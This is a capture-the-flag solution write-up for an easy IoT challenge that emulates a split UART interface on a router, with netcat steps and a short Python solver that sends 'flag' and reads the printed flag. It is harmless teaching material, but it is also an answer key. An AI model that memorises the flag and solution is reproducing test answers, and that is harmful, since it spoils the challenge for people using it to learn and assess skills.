# Let's All Love UART — Solution

**Difficulty:** Easy | **Category:** IoT | **Flag:** `ESPILON{LAIN_TrUsT_U4RT}`

## Overview

The challenge emulates a split UART interface on a Lain router:

- **TX (port 1111)**: Read only — device output
- **RX (port 2222)**: Write only — send commands

## Steps

1. Open two terminals:

```bash
# Terminal 1 — read device output
nc <host> 1111

# Terminal 2 — send commands
nc <host> 2222
```

1. On the RX terminal, send the `flag` command:

```text
flag
```

1. The flag prints on the TX terminal:

```text
ESPILON{LAIN_TrUsT_U4RT}
```

## Solver Script

```python
#!/usr/bin/env python3
import socket
import threading

HOST = "<host>"
TX_PORT = 1111
RX_PORT = 2222

def reader():
    with socket.create_connection((HOST, TX_PORT)) as s:
        while True:
            data = s.recv(4096)
            if not data:
                break
            out = data.decode(errors="replace")
            print(out, end="")
            if "ESPILON{" in out:
                break

tx_thread = threading.Thread(target=reader, daemon=True)
tx_thread.start()

with socket.create_connection((HOST, RX_PORT)) as s:
    s.sendall(b"flag\n")

tx_thread.join()
```

## Flag

`ESPILON{LAIN_TrUsT_U4RT}`

## Author

Eun0us